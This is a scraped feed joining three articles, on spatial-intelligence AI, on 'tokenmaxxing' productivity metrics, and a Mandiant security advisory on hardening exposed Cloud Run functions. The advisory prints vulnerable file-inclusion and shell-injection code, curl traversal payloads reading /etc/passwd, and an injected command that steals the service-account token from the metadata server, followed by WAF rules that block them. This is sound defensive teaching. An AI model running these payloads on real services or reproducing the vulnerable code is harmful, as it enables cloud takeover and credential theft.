<p class="wp-block-paragraph">The concept of spatial intelligence isn’t new and was described in Howard Gardner’s book, <em><a href="https://www.amazon.com/Frames-Mind-Theory-Multiple-Intelligences-ebook/dp/B004MYFV0E/">Frames of Mind</a></em>, in 1983. Recent breakthroughs, including the launch of <a href="https://marble.worldlabs.ai/">World Labs’ Marble</a> and its <a href="https://www.worldlabs.ai/blog/funding-2026">$1 billion funding round</a>, and competing approaches from <a href="https://deepmind.google/models/genie/">Google’s Genie 3</a> and <a href="https://www.nvidia.com/en-us/ai/cosmos/">Nvidia Cosmos</a>, should put spatial intelligence and world models on more R&amp;D road maps.</p>



<h2 class="wp-block-heading">What are spatial intelligence models?</h2>



<p class="wp-block-paragraph">It’s important to <a href="https://drive.starcio.com/2026/02/ai-literacy-a-leadership-guide/">develop AI literacy</a> and understand the terminology and concepts related to the physical world and 3D AI technologies: </p>



<ul class="wp-block-list">
<li>Spatial intelligence encompasses specialized approaches such as <a href="https://science.nasa.gov/science-research/ai-foundation-model-in-orbit/">geospatial models</a> for mapping the physical world and <a href="https://link.springer.com/article/10.1007/s44290-025-00342-5">building information modeling</a> (BIM) for modeling physical structures. It also extends to generative 3D, robotics, and physical reasoning applications.</li>



<li>World models are a class of <a href="https://www.ibm.com/think/topics/neural-networks">neural network architectures</a> and are currently a prominent approach to building spatial intelligence.</li>



<li><a href="https://www.infoworld.com/article/3693092/7-steps-to-take-before-developing-digital-twins.html">Digital twins</a> are live, virtual replicas of physical assets that combine 3D models with real-time sensor data. Spatial intelligence, an emerging capability of digital twins, adds natural-language prompting, generative scenario exploration, and physics-aware reasoning.</li>



<li><a href="https://treeview.studio/blog/top-examples-of-spatial-computing">Spatial computing</a> refers to digital content anchored in and interacting with physical space, sensed and rendered in three dimensions and delivered through AR/VR and mixed-reality systems.</li>
</ul>



<p class="wp-block-paragraph">“Spatial intelligence models go beyond pixels to understand the 3D structure of the world—how objects are positioned, how they move, and how they interact,” says David Fattal, founder and CTO at <a href="https://immersity.ai/">Leia</a>. “This enables applications like more realistic video generation, spatial computing interfaces, and AI systems that can reason about physical environments. As real-world 3D data becomes more available, these models will become foundational to the next generation of visual AI.”</p>



<h2 class="wp-block-heading">Monitoring the built environment</h2>



<p class="wp-block-paragraph">To better understand spatial intelligence, let’s consider physical infrastructure such as bridges and buildings. The American Society of Civil Engineers <a href="https://www.enr.com/articles/62214-infrastructure-gains-in-new-asce-report-cardbut-progress-hinges-on-post-2026-funds">estimates a $9.1 trillion investment</a> is needed from 2024 through 2033 to achieve a state of good repair. When maintenance and monitoring lag, it can lead to major failures such as <a href="https://www.ntsb.gov/news/press-releases/Pages/NR20240221.aspx">the 2022 collapse of the Fern Hollow Bridge in Pittsburgh</a>.</p>



<p class="wp-block-paragraph">Spatial intelligence and the development of digital twins may help identify issues earlier and prioritize where investments are needed. “Spatial intelligence models serve as the 4D digital blueprints for our built environment, allowing us to visualize and predict the complex interactions between aging assets and the shifting ground beneath them,” says Patrick Cozzi, chief platform officer at <a href="https://www.bentley.com/">Bentley Systems</a>. “By synthesizing disparate geospatial data into a living digital twin, these models provide the foresight necessary to mitigate the hidden risks of structural fatigue and subsurface instability.”</p>



<p class="wp-block-paragraph">There’s a significant challenge in <a href="https://www.mdpi.com/1424-8220/21/13/4336">bridge health monitoring</a> and transitioning from manual, infrequent structural inspections to leveraging sensors, digital twins, and spatial intelligence. Cozzi adds, “This integration of continuous field data moves beyond static documentation, empowering agencies to evolve from reactive repairs to proactive, resilient asset management that safeguards the long-term integrity of our most critical public systems.”</p>



<h2 class="wp-block-heading">Avoiding collisions</h2>



<p class="wp-block-paragraph">Bridges are largely static, but the real world is increasingly being occupied by autonomous systems such as self-driving cars, robots, and drones. And where there are moving systems, there is a risk of collisions.</p>



<p class="wp-block-paragraph">“Spatial intelligence models are AI systems that reason about the physical world by combining vision, sensor data, and contextual cues to understand space, motion, and object relationships,” says Sudeep George, CTO at <a href="https://imerit.net/">iMerit</a>. “The value of spatial intelligence models lies not just in perceiving an environment, but in enabling machines to act within it safely and in real time. That is especially important in robotics and autonomous systems, where decisions must be made in complex, multimodal, fast-changing settings.”</p>



<p class="wp-block-paragraph">To see one example, this tutorial for <a href="https://developer.nvidia.com/blog/simulate-robotic-environments-faster-with-nvidia-isaac-sim-and-world-labs-marble">simulating robotic environments</a> combines <a href="https://developer.nvidia.com/isaac/sim?size=n_6_n&amp;sort-field=featured&amp;sort-direction=desc">Nvidia Isaac Sim</a>, an open source robotics reference framework, with spatial intelligence in Marble from World Labs. </p>



<p class="wp-block-paragraph">Today’s collision detection systems, such as <a href="https://arxiv.org/html/2508.20892v1">those used in autonomous vehicles</a>, typically rely on modules for sensing, perception, planning, and control. Spatial intelligence models may offer improvements by assessing the collision risks of unidentified objects or by tracking objects that move out of sensor view. For example, <a href="https://waymo.com/blog/2026/02/the-waymo-world-model-a-new-frontier-for-autonomous-driving-simulation/">Waymo’s World Model</a>, built on Genie 3, is a simulator that generates complex weather conditions and other critical safety events.</p>



<p class="wp-block-paragraph">For an out-of-this-world example, James Urquhart, field CTO and technology evangelist at <a href="https://www.kamiwaza.ai/">Kamiwaza</a>, has delivered several examples of spatial intelligence applications, including one for satellite collision detection and conflict analysis. Urquhart says, “Models that specialize in these types of data sets, as well as the physics and geography of the real world, enable faster and more accurate decision-making for tasks that depend on them.”</p>



<h2 class="wp-block-heading">Applying spatial intelligence</h2>



<p class="wp-block-paragraph">Recent spatial intelligence announcements include creating 3D worlds from image or text prompts with <a href="https://www.worldlabs.ai/blog/marble-world-model">Marble</a> and simulating water physics, lighting, weather, and animal behavior with <a href="https://wavespeed.ai/blog/posts/google-deepmind-genie-3-world-model-2026/">Genie 3</a>. But difficulties remain in bringing spatial intelligence to physical-world use cases.</p>



<p class="wp-block-paragraph">“Spatial intelligence and world models are laying the groundwork for future AI agents that will be able to interact in and with our physical world,” says Jason Corso, cofounder and chief scientist at <a href="https://voxel51.com/">Voxel51</a>. “These models are significantly more challenging to develop and test, largely because the data underlying their development is complex, and it’s hard to handle all of the combinatorics involved in the physical world.”</p>



<p class="wp-block-paragraph">In addition to learning the models and prototyping with them, development and data leaders need to review the data assets that will feed spatial intelligence models. “Spatial intelligence models translate location signals into a structured understanding of the real world, but they’re only as reliable as the data beneath them,” says Dan Adams, executive vice president and general manager of Enrich at <a href="https://www.precisely.com/">Precisely</a>. “The real unlock isn’t the model—it’s the reference layer with persistent identifiers, confidence metadata, and source lineage that lets AI reason about places, not just match strings.”</p>



<p class="wp-block-paragraph">Even once applications are developed, there will be infrastructure challenges in deploying them at the edge. Ali Kayyam, principal research scientist at <a href="https://brainchip.com/">BrainChip</a>, says, “The key to unlocking spatial intelligence at scale is having the low-power, event-driven hardware that can run it at the sensor in real time where it matters most.”</p>



<h2 class="wp-block-heading">Where to get started</h2>



<p class="wp-block-paragraph">My suggestions for developers looking to get hands-on with spatial intelligence and world models:</p>



<ul class="wp-block-list">
<li>To try out Marble, review their <a href="https://docs.worldlabs.ai/api">API documentation</a> and <a href="https://www.worldlabs.ai/labs">case studies</a>, and then experiment with a <a href="https://github.com/willemhelmet/marble-api-quickstart">developer-focused React application</a>.</li>



<li>Review the Nvidia Cosmos <a href="https://developer.nvidia.com/cosmos">developer hub</a>, <a href="https://docs.nvidia.com/cosmos/latest/introduction.html">documentation</a>, and <a href="https://nvidia-cosmos.github.io/cosmos-cookbook/">cookbook</a> of case studies and learning paths.</li>



<li>You can get an overview of Genie 3, but access is currently restricted through Project Genie, which requires a <a href="https://gemini.google/subscriptions/">Google AI Ultra subscription</a>.</li>
</ul>
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<title><![CDATA[From story points to tokenmaxxing: Why engineering keeps measuring the wrong things]]></title>
<description><![CDATA[For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is ...]]></description>
<link>https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671158/ai-nachrichten/from-story-points-to-tokenmaxxing-why-engineering-keeps-measuring-the-wrong-things/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">For decades, software engineering has been plagued by “productivity theater.” Every few years, the industry aligns around a new vanity metric — usually one that latches onto whatever technology happens to be in vogue at the time. For a discipline rooted in creativity and problem-solving, this is a poor way to demonstrate progress. Yet, we find ourselves in this position once again. The pattern is often the same: reach for something we can easily count, and in doing so, lose sight of what we are actually trying to achieve.</p>



<h2 class="wp-block-heading">Quantity over quality: the wrong measurement, every time</h2>



<p class="wp-block-paragraph">I recall when I was coming up as a software engineer in the 1990s, a small number of companies took up the practice of paying their engineers by each line of code. This may have been productivity theater at its worst, leading to negative incentives, inefficient processes, and just generally bad engineering. Developers were rewarded for writing far more code than the problems they were facing required — classic “quantity over quality” — and the result was bloated, brittle codebases that were all but impossible to maintain. The goal — to create reliable software that solved real user problems — got buried under the incentive to produce.</p>



<p class="wp-block-paragraph">Then in the 2000s, <a href="https://www.atlassian.com/agile/project-management/estimation" data-type="link" data-id="https://www.atlassian.com/agile/project-management/estimation">the rise of Agile brought us story points</a>, an abstract way to estimate task complexity, effort, and risk relative to other work. Rather than answering “How long will this take?,” story points were meant to answer, “How big is this compared to what we’ve done before?” This approach sounds good in theory, but in practice, some development teams learned to game the system by inflating estimates, over-engineering solutions to look productive, and losing sight of whether the work they produced actually created value. Once again, the metric became the goal, and the actual goal — delivering outcomes that mattered to the business — became secondary.</p>



<p class="wp-block-paragraph">Every one of these metrics failed for the same reason: they measured effort instead of value.</p>



<h2 class="wp-block-heading">Quantity in the age of AI</h2>



<p class="wp-block-paragraph">Today, “<a href="https://www.infoworld.com/article/4183060/the-tokenmaxxing-backlash-is-coming.html">tokenmaxxing</a>,” a trend in which developers and teams optimize for <a href="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html" data-type="link" data-id="https://www.infoworld.com/article/4170173/tokenmaxxing-is-super-dumb.html">consuming as many AI model tokens as possible</a>, treats raw consumption as an equivalent for output. As I see it, this is the latest flawed productivity metric to make its way into the world of software engineering. Tokenmaxxing is nothing more than another vanity metric, and is just as useless as using “lines of code” or inflated “story points” as a benchmark.</p>



<p class="wp-block-paragraph">Tokenmaxxing is the result of a few different behaviors, including:</p>



<ul class="wp-block-list">
<li>Prompt flooding: stuffing massive codebases, documentation, and context into every prompt, burning tokens on context the model doesn’t actually need.</li>



<li>Agent swarms: running multiple AI agents in parallel to maximize code output, regardless of whether the work is coordinated or coherent.</li>



<li>Background loops: keeping AI sessions or agents running continuously in the background, racking up token spend without clear ownership of what is being produced — or why.</li>
</ul>



<p class="wp-block-paragraph"><br>Now, it is no secret that AI is reshaping how software is developed, and these behaviors are the result of that reshaping. Providing AI with codebases, running multiple agents at once, and even relying on coding assistants for help all have their uses. But when we lose control of the changes we are making and why we are making them, we find ourselves facing a new version of the same old problem: measuring engineering productivity with the wrong metrics.</p>



<p class="wp-block-paragraph">A more useful question to ask isn’t, “How many tokens did we spend?” but rather, “What problem did we actually solve, and for whom?”</p>



<h2 class="wp-block-heading">Spending resources without goals</h2>



<p class="wp-block-paragraph">Yes, AI is giving software engineers the ability to do more with less, to move quickly, and to experiment in ways that were previously out of reach. But leaning on AI to <em>perform</em> productivity, rather than <em>deliver</em> it, is a trap that will cost us in code quality, team capability, and business credibility.</p>



<p class="wp-block-paragraph">As a CTO, I am all for experimenting with AI. I want to use it to make our programs better, stronger, and future-proof. What I don’t want is for it to drive us toward excess while leaving us with little to show for it.</p>



<p class="wp-block-paragraph">The test I keep coming back to is simple: does this AI-generated output help us ship something that matters? Does it reduce friction for a user, close a gap in a workflow, or improve reliability for a customer? If the answer isn’t clear, then we are spending resources — both human and computational — without a defined goal. And that is not engineering. That is activity.</p>



<h2 class="wp-block-heading">Spec-driven development: where value gets defined</h2>



<p class="wp-block-paragraph">It is time to adopt newer approaches like <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html" data-type="link" data-id="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development-how-to-choose.html">spec-driven development</a>, a method where engineers write detailed specifications first and AI generates code against them. Rather than relying on prompt flooding and agent swarms and hoping AI produces the best result, we need to shift toward defining requirements, reviewing AI-generated output, and orchestrating systems with intent.</p>



<p class="wp-block-paragraph">But spec-driven development is <a href="https://www.augmentcode.com/guides/what-is-spec-driven-development" data-type="link" data-id="https://www.augmentcode.com/guides/what-is-spec-driven-development">more than a methodology</a>. It is the place where engineering intent and business value get defined together. The spec is where you answer, “Why does this matter, and what problem are we solving?” before a single token gets spent.</p>



<p class="wp-block-paragraph">Software engineers have long taken pride in writing elegant code, and I would hate to see AI cheapen that pride rather than elevate it. In an AI-first world, the craft shouldn’t disappear; it should simply move upstream. The spec is where elegance lives now, and it deserves the same attention to detail we once reserved for the code itself.</p>



<p class="wp-block-paragraph">At its core, software engineering is about defining, analyzing, and resolving technical challenges. If we are willingly giving all of that up to AI, we will lose the integrity of our discipline and the ability to prove our value. Using the maximum number of tokens to produce code isn’t impressive. Using a well-crafted, intentional prompt to solve a specific problem? That’s the work worth celebrating.</p>



<h2 class="wp-block-heading">Stop performing productivity and start delivering it</h2>



<p class="wp-block-paragraph">We are at an inflection point. Many organizations are defaulting to activity-based metrics, measuring how much AI is being used rather than whether it is improving delivery, product quality, or business outcomes.</p>



<p class="wp-block-paragraph">The question worth asking is not, “How much AI did we use this sprint?” It is “What value did we deliver for our users, our team, or our business?” Was it the ability to resolve a critical bug more quickly? Reduced cycle time on a high-value feature? A customer workflow that now takes minutes instead of hours? Those are outcomes. Those are the things worth measuring.</p>



<p class="wp-block-paragraph">AI can help us deliver meaningful outcomes faster, but only if we use it with the same rigor and intent we expect from every other engineering or business decision. Don’t let it become another form of productivity theater. The most successful engineering organizations in the age of AI won’t be the ones that consumed the most tokens, they’ll be the organizations that never lost sight of why they were building in the first place.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Risk of Exposed Cloud Functions and How to Harden]]></title>
<description><![CDATA[Written by: Corné de Jong

Introduction 
Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-par...]]></description>
<link>https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670891/it-security-nachrichten/the-risk-of-exposed-cloud-functions-and-how-to-harden/</guid>
<pubDate>Wed, 15 Jul 2026 16:08:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Corné de Jong</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Local and Remote File Inclusion (LFI/RFI)</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Command Injection</span></p>
</li>
</ul>
<p><span>Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.</span></p>
<p><span>Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.</span></p>
<h3><span>What are Serverless Applications?</span></h3>
<p><span>Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. </span><span>Serverless services underpin major e-commerce, media, payment processing applications, and AI usage.</span><span> </span></p>
<p><span>The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. </span><span>AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. </span><span>This growth has made securing serverless environments a more pressing challenge for enterprise security teams. </span></p>
<h3><span>Risks of Serverless Application Attacks</span></h3>
<p><span>Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.</span></p>
<p><span>Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Extracting secrets stored directly within the application code.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Reviewing application logic and sensitive data to identify further attack vectors within the environment.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).</span></p>
</li>
</ul>
<p><span>Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.</span></p>
<h3><span>Example Attack Scenarios</span></h3>
<p><span>The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.</span></p>
<h4><span>Local File Inclusion (LFI) </span></h4>
<p><span>In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)</code></pre>
<p><span><span>Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using </span><code>curl</code><span> to send a POST request via the </span><code>file</code><span> parameter:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'</code></pre>
<p><span><span>Figure 2: curl POST request targeting the file parameter</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>The response provides the complete </span><code>main.py</code><span> source code. An attacker can analyze the code for:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Hardcoded secrets such as API keys, database credentials, or authentication tokens</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Business logic flaws and additional injection points</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Internal service endpoints and architecture details</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Import statements revealing the technology stack and potential CVE exposure</span></p>
</li>
</ul>
<p><span>Additionally, attackers can leverage standard </span><code>../</code><span> directory traversal sequences to retrieve sensitive system files:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'</code></pre>
<p><span><span>Figure 3: curl POST request leveraging directory traversal sequences</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><code>requirements.txt, package.json, go.mod</code><span>: Used to identify installed packages and versions with known vulnerabilities.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>.</span><code>env</code><span> files: Frequently contain sensitive environment variables or hard coded secrets.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application configuration files: </strong><span>May contain database credentials, API keys, or service endpoints if not securely managed.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><code>/etc/passwd, /proc/self/environ</code><span>: Contains user information, environment variables.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Application logs: </strong><span>may contain auth tokens or PII data.</span></p>
</li>
</ul>
<p><strong>Best Practice:</strong><span> Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.</span></p>
<h4><span>Code Execution/Command Injection</span></h4>
<p><span>In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)</code></pre>
<p><span><span>Figure 4: Python function utilizing shell execution with unsanitized user input</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token. </span></p>
<p><span>The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"</code></pre>
<p><span><span>Figure 5:</span><span> </span><span>Extraction of a GCP service account bearer token via a curl request</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the </span><code>CLOUDSDK_AUTH_ACCESS_TOKEN</code><span> environment variable can be set using the stolen bearer token.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”</code></pre>
<p><span><span>Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the  Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>Read/write/delete most GCP resources</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Deploy new services and modify existing configurations</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Access secrets and encryption keys</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Exfiltrate data across all accessible storage systems</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Establish persistent backdoors through new service accounts or SSH keys.</span></p>
</li>
</ul>
<h3><span>Hardening Recommendations</span></h3>
<p><span>Mandiant recommends that organizations implement parallel approaches for effective serverless security:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Secure Software Development Lifecycle (S-SDLC): </strong><span>integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing; </span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Vibe Coding</strong><span>: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the </span><a href="https://www.wiz.io/academy/ai-security/vibe-coding-security" rel="noopener" target="_blank"><span>Wiz Vibe Coding Security Fundamentals blog</span></a><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Compensating Runtime Controls: </strong><span>Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;</span></p>
</li>
</ul>
<h4><span>Segregate Public Services</span></h4>
<p><span>Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the </span><a href="https://docs.cloud.google.com/architecture/blueprints/serverless-blueprint"><span>secured serverless architecture blueprint</span></a><span>.</span></p>
<h4><span>Identity and Access Management (IAM)</span></h4>
<p><span>Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Cloud Storage Bucket Access:</strong><span> If the service only requires read access to objects from a Cloud Storage bucket, grant the </span><code>Storage Object Viewer</code><span> (</span><code>roles/storage.objectViewer</code><span>) role restricted to that specific bucket.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Secret Manager Access:</strong><span>  If the service requires access to secrets, grant the</span><code> Secret Manager Secret Accessor</code><span> (</span><code>roles/secretmanager.secretAccessor</code><span>) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the </span><a href="https://docs.cloud.google.com/run/docs/configuring/services/secrets#required_roles"><span>GCP documentation on configuring secrets</span></a><span>.</span></p>
</li>
</ul>
<h4><span>Layer 7 Application Load Balancer (ALB) Architecture</span></h4>
<p><span>Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Centralized Traffic Management:</strong><span> Granular control over headers and SSL policies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Cloud Armor Integration:</strong><span> Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Traffic Shaping: </strong><span>Implementation of rate limits and request limitations to prevent abuse.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Enhanced Visibility:</strong><span> Robust logging and log-forwarding capabilities for security monitoring.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Identity-Aware Proxy (IAP):</strong><span> integration support for scenarios requiring specific identity-based authentication for internal users.</span></p>
</li>
</ul>
<h4><span>Web Application Firewall (WAF) <span>—</span> Cloud Armor</span></h4>
<p><a href="https://cloud.google.com/security/products/armor"><span>Cloud Armor</span></a><span> provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.</span></p>
<h4><span>Local File Inclusion</span></h4>
<p><span>The </span><code>lfi-v33-stable</code><span> preconfigured WAF rules can block common local file inclusion attacks (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#local_file_inclusion_lfi"><span>local file inclusion reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking a path traversal request </span><code>../../../etc/passwd</code><span> resulting in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Remote Code Execution</span></h4>
<p><span>The </span><code>rce-v33-stable</code><span> preconfigured WAF rules can block remote code execution attempts (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#remote_code_execution_rce"><span>remote code execution reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 9: Cloud Armor rce-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking the remote code execution request from the previous example results in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
